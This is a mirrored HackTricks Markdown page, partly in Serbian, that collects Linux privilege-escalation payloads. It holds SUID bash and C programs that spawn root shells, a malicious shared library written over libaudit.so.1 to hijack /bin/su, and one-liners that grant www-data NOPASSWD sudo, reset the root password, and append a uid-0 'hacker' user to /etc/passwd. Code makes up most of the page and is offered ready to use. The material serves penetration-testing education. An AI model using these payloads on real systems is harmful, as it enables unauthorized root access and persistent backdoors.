mirror of
https://github.com/HackTricks-wiki/hacktricks.git
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120 lines
3.5 KiB
Markdown
120 lines
3.5 KiB
Markdown
# Payloads to execute
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{{#include ../../banners/hacktricks-training.md}}
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## Bash
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```bash
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cp /bin/bash /tmp/b && chmod +s /tmp/b
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/bin/b -p #Maintains root privileges from suid, working in debian & buntu
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```
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## C
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```c
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//gcc payload.c -o payload
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int main(void){
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setresuid(0, 0, 0); //Set as user suid user
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system("/bin/sh");
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return 0;
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}
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```
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```c
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//gcc payload.c -o payload
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#include <stdio.h>
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#include <unistd.h>
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#include <sys/types.h>
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int main(){
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setuid(getuid());
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system("/bin/bash");
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return 0;
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}
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```
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```c
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// Privesc to user id: 1000
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#define _GNU_SOURCE
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#include <stdlib.h>
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#include <unistd.h>
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int main(void) {
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char *const paramList[10] = {"/bin/bash", "-p", NULL};
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const int id = 1000;
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setresuid(id, id, id);
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execve(paramList[0], paramList, NULL);
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return 0;
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}
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```
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## Prepisivanje fajla za eskalaciju privilegija
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### Uobičajeni fajlovi
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- Dodajte korisnika sa lozinkom u _/etc/passwd_
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- Promenite lozinku unutar _/etc/shadow_
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- Dodajte korisnika u sudoers u _/etc/sudoers_
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- Zloupotreba dockera kroz docker socket, obično u _/run/docker.sock_ ili _/var/run/docker.sock_
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### Prepisivanje biblioteke
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Proverite biblioteku koju koristi neki binarni fajl, u ovom slučaju `/bin/su`:
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```bash
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ldd /bin/su
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linux-vdso.so.1 (0x00007ffef06e9000)
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libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
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libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
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libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
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libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
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libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
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libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
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/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
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```
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U ovom slučaju, pokušajmo da se pretvaramo kao `/lib/x86_64-linux-gnu/libaudit.so.1`.\
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Dakle, proverite funkcije ove biblioteke koje koristi **`su`** binarni fajl:
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```bash
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objdump -T /bin/su | grep audit
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0000000000000000 DF *UND* 0000000000000000 audit_open
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0000000000000000 DF *UND* 0000000000000000 audit_log_user_message
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0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message
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000000000020e968 g DO .bss 0000000000000004 Base audit_fd
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```
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Simboli `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` i `audit_fd` verovatno potiču iz biblioteke libaudit.so.1. Pošto će libaudit.so.1 biti prepisana zlonamernom deljenom bibliotekom, ovi simboli bi trebali biti prisutni u novoj deljenoj biblioteci, inače program neće moći da pronađe simbol i izaći će.
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```c
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#include<stdio.h>
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#include<stdlib.h>
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#include<unistd.h>
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//gcc -shared -o /lib/x86_64-linux-gnu/libaudit.so.1 -fPIC inject.c
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int audit_open;
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int audit_log_acct_message;
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int audit_log_user_message;
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int audit_fd;
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void inject()__attribute__((constructor));
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void inject()
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{
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setuid(0);
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setgid(0);
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system("/bin/bash");
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}
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```
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Sada, jednostavno pozivajući **`/bin/su`** dobićete shell kao root.
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## Skripte
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Možete li naterati root da izvrši nešto?
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### **www-data u sudoers**
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```bash
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echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
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```
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### **Promena root lozinke**
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```bash
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echo "root:hacked" | chpasswd
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```
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### Dodajte novog root korisnika u /etc/passwd
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```bash
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echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
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```
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{{#include ../../banners/hacktricks-training.md}}
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